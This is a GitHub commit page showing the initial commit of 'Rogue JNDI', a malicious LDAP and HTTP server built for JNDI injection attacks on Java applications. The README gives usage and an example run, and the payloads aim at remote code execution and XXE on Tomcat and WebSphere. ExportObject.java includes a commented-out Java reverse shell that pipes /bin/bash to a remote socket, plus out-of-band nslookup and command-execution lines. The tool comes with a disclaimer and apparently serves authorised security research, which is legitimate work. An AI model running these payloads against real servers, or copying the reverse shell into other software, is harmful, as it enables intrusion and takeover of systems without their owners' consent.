Skip to content

Commit

Permalink
Initial
Browse files Browse the repository at this point in the history
  • Loading branch information
artsploit committed Nov 13, 2019
0 parents commit 2f7e814
Show file tree
Hide file tree
Showing 19 changed files with 954 additions and 0 deletions.
16 changes: 16 additions & 0 deletions .gitignore
Original file line number Diff line number Diff line change
@@ -0,0 +1,16 @@
# java
*.class

# mvn
target/

# eclipse
.classpath
.project
.settings/

# idea
.idea/
*.iml

dependency-reduced-pom.xml
21 changes: 21 additions & 0 deletions LICENSE
Original file line number Diff line number Diff line change
@@ -0,0 +1,21 @@
MIT License

Copyright (c) 2019 Michael Stepankin

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
84 changes: 84 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,84 @@
## Rogue JNDI
A malicious LDAP server for JNDI injection attacks.

### Description
The project contains LDAP & HTTP servers for exploiting insecure-by-default Java JNDI API.<br>
In order to perform an attack, you can start these servers localy and then trigger a JNDI resolution on the vulnerable client, e.g.:
```java
InitialContext.lookup("ldap://your_server.com:1389/o=reference");
```
It will initiate a connection from the vulnerable clinet to the local LDAP server.
Then, the local server responds with a malicious entry containing one of the payloads, that can be useful to achieve a Remote Code Execution.

### Motivation
In addition to the known JNDI attack methods(via remote classloading in references), this tool brings new attack vectors by leveraging the power of [ObjectFactories](https://docs.oracle.com/javase/8/docs/api/javax/naming/spi/ObjectFactory.html).

### Supported payloads
* [RemoteReference.java](/src/main/java/artsploit/controllers/RemoteReference.java) - classic JNDI attack, leads to RCE via remote classloading, works up to jdk8u191
* [Tomcat.java](/src/main/java/artsploit/controllers/Tomcat.java) - leads to RCE via unsafe reflection in **org.apache.naming.factory.BeanFactory**
* [WebSphere1.java](/src/main/java/artsploit/controllers/WebSphere1.java) - leads to OOB XXE in **com.ibm.ws.webservices.engine.client.ServiceFactory**
* [WebSphere2.java](/src/main/java/artsploit/controllers/WebSphere2.java) - leads to RCE via classpath manipulation in **com.ibm.ws.client.applicationclient.ClientJ2CCFFactory**

### Usage
```
$ java -jar target/RogueJndi-1.0.jar -h
+-+-+-+-+-+-+-+-+-+
|R|o|g|u|e|J|n|d|i|
+-+-+-+-+-+-+-+-+-+
Usage: java -jar target/RogueJndi-1.0.jar [options]
Options:
-c, --command Command to execute on the target server (default:
/Applications/Calculator.app/Contents/MacOS/Calculator)
-n, --hostname Local HTTP server hostname (required for remote
classloading and websphere payloads) (default:
192.168.1.10)
-l, --ldapPort Ldap bind port (default: 1389)
-p, --httpPort Http bind port (default: 8000)
--wsdl [websphere1 payload option] WSDL file with XXE payload
(default: /list.wsdl)
--localjar [websphere2 payload option] Local jar file to load (this
file should be located on the remote server) (default:
../../../../../tmp/jar_cache7808167489549525095.tmp)
-h, --help Show this help
```
The most important parameters are the ldap server hostname (-n, should be accessible from the target) and the command you want to execute on the target server (-c).

As an alternative to the "-c" option, you can modify the [ExportObject.java](/src/main/java/artsploit/ExportObject.java) file by putting java code you want to execute on the target server.

### Example:
```
$ java -jar target/RogueJndi-1.0.jar --command "nslookup your_dns_sever.com" --hostname "192.168.1.10"
+-+-+-+-+-+-+-+-+-+
|R|o|g|u|e|J|n|d|i|
+-+-+-+-+-+-+-+-+-+
Starting HTTP server on 0.0.0.0:8000
Starting LDAP server on 0.0.0.0:1389
Mapping ldap://192.168.1.10:1389/ to artsploit.controllers.RemoteReference
Mapping ldap://192.168.1.10:1389/o=reference to artsploit.controllers.RemoteReference
Mapping ldap://192.168.1.10:1389/o=tomcat to artsploit.controllers.Tomcat
Mapping ldap://192.168.1.10:1389/o=websphere1 to artsploit.controllers.WebSphere1
Mapping ldap://192.168.1.10:1389/o=websphere1,wsdl=* to artsploit.controllers.WebSphere1
Mapping ldap://192.168.1.10:1389/o=websphere2 to artsploit.controllers.WebSphere2
Mapping ldap://192.168.1.10:1389/o=websphere2,jar=* to artsploit.controllers.WebSphere2
```


### Building
Java v1.7+ and Maven v3+ required
```
mvn package
```

### Disclamer
This software is provided solely for educational purposes and/or for testing systems which the user has prior permission to attack.

### Special Thanks
* [Alvaro Muñoz](https://twitter.com/pwntester) and [Oleksandr Mirosh](https://twitter.com/olekmirosh) for the excellent [whitepaper](https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf) on JNDI attacks
* [@zerothoughts](https://github.com/zerothoughts) for the inspirational [spring-jndi](https://github.com/zerothoughts/spring-jndi) repository
* [Moritz Bechler](https://github.com/zerothoughts) for the eminent [marshallsec](https://github.com/mbechler/marshalsec) research

### Links
* An article about [Exploiting JNDI Injections in Java](https://www.veracode.com/blog/research/exploiting-jndi-injections-java) in the Veracode Blog

### Authors
[Michael Stepankin](https://twitter.com/artsploit), Veracode Research
92 changes: 92 additions & 0 deletions pom.xml
Original file line number Diff line number Diff line change
@@ -0,0 +1,92 @@
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>

<groupId>RogueJndi</groupId>
<artifactId>RogueJndi</artifactId>
<version>1.0</version>

<packaging>jar</packaging>

<dependencies>
<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>3.1.1</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-core</artifactId>
<version>8.5.45</version>
</dependency>

<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-el</artifactId>
<version>8.5.45</version>
</dependency>

<dependency>
<groupId>com.beust</groupId>
<artifactId>jcommander</artifactId>
<version>1.78</version>
</dependency>

<dependency>
<groupId>org.reflections</groupId>
<artifactId>reflections</artifactId>
<version>0.9.11</version>
</dependency>

<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-text</artifactId>
<version>1.8</version>
</dependency>

<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>4.12</version>
<scope>test</scope>
</dependency>

</dependencies>

<properties>
<maven.test.skip>true</maven.test.skip>
</properties>

<build>
<plugins>
<plugin>
<artifactId>maven-shade-plugin</artifactId>
<version>3.2.1</version>
<executions>
<execution>
<phase>package</phase>
<goals>
<goal>shade</goal>
</goals>
<configuration>
<transformers>
<transformer implementation="org.apache.maven.plugins.shade.resource.ManifestResourceTransformer">
<mainClass>artsploit.RogueJndi</mainClass>
</transformer>
</transformers>
</configuration>
</execution>
</executions>
</plugin>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<version>3.8.1</version>
<configuration>
<source>7</source>
<target>7</target>
</configuration>
</plugin>
</plugins>
</build>
</project>
57 changes: 57 additions & 0 deletions src/main/java/artsploit/Config.java
Original file line number Diff line number Diff line change
@@ -0,0 +1,57 @@
package artsploit;

import com.beust.jcommander.JCommander;
import com.beust.jcommander.Parameter;
import com.beust.jcommander.UnixStyleUsageFormatter;

import java.net.InetAddress;
import java.net.UnknownHostException;

public class Config {

@Parameter(names = {"-c", "--command"}, description = "Command to execute on the target server", order = 0)
public static String command = "/Applications/Calculator.app/Contents/MacOS/Calculator";

@Parameter(names = {"-n", "--hostname"}, description = "Local HTTP server hostname " +
"(required for remote classloading and websphere payloads)", order = 1)
public static String hostname;

static {
try { //try to get the local hostname by default
hostname = InetAddress.getLocalHost().getHostAddress();
} catch (UnknownHostException e) {
hostname = "127.0.0.1";
}
}

@Parameter(names = {"-l", "--ldapPort"}, description = "Ldap bind port", order = 2)
public static int ldapPort = 1389;

@Parameter(names = {"-p", "--httpPort"}, description = "Http bind port", order = 3)
public static int httpPort = 8000;

@Parameter(names = {"--wsdl"}, description = "[websphere1 payload option] WSDL file with XXE payload", order = 4)
public static String wsdl = "/list.wsdl";

@Parameter(names = {"--localjar"}, description = "[websphere2 payload option] Local jar file to load " +
"(this file should be located on the remote server)", order = 5)
public static String localjar = "../../../../../tmp/jar_cache7808167489549525095.tmp";

@Parameter(names = {"-h", "--help"}, help = true, description = "Show this help")
private static boolean help = false;

public static void applyCmdArgs(String[] args) {
//process cmd args
JCommander jc = JCommander.newBuilder()
.addObject(new Config())
.build();
jc.parse(args);
jc.setProgramName("java -jar target/RogueJndi-1.0.jar");
jc.setUsageFormatter(new UnixStyleUsageFormatter(jc));

if(help) {
jc.usage(); //if -h specified, show help and exit
System.exit(0);
}
}
}
62 changes: 62 additions & 0 deletions src/main/java/artsploit/ExportObject.java
Original file line number Diff line number Diff line change
@@ -0,0 +1,62 @@
package artsploit;

import javax.naming.Context;
import javax.naming.Name;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
import java.util.Hashtable;

/**
* ExportObject class is served via HTTP for URLClassloaders
* the bytecode of this constructor is patched in the {@link HttpServer} class
* by adding a new Runtime.exec(Config.command) to the top of the constructor
* feel free to any code you want to execute on the target here
*/
public class ExportObject implements javax.naming.spi.ObjectFactory {
public ExportObject() {
try {
//oob check
// Runtime.getRuntime().exec("nslookup jndi.x.artsploit.com");
// Runtime.getRuntime().exec("calc.exe");

//Pure Groovy/Java Reverse Shell
//snatched from https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76
// String lhost = "127.0.0.1";
// int lport = 8080;
//// String cmd = "cmd.exe"; //win
// String cmd="/bin/bash"; //linux
// Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();
// Socket s = new Socket(lhost,lport);
// InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();
// OutputStream po = p.getOutputStream(), so = s.getOutputStream();
// while(!s.isClosed()) {
// while(pi.available() > 0)
// so.write(pi.read());
// while(pe.available() > 0)
// so.write(pe.read());
// while(si.available() > 0)
// po.write(si.read());
// so.flush();
// po.flush();
// Thread.sleep(50);
// try {
// p.exitValue();
// break;
// } catch (Exception e){
//
// }
// }
// p.destroy();
// s.close();

} catch(Exception e) {
e.printStackTrace();
}
}

@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) {
return null;
}
}
Loading

0 comments on commit 2f7e814

Please sign in to comment.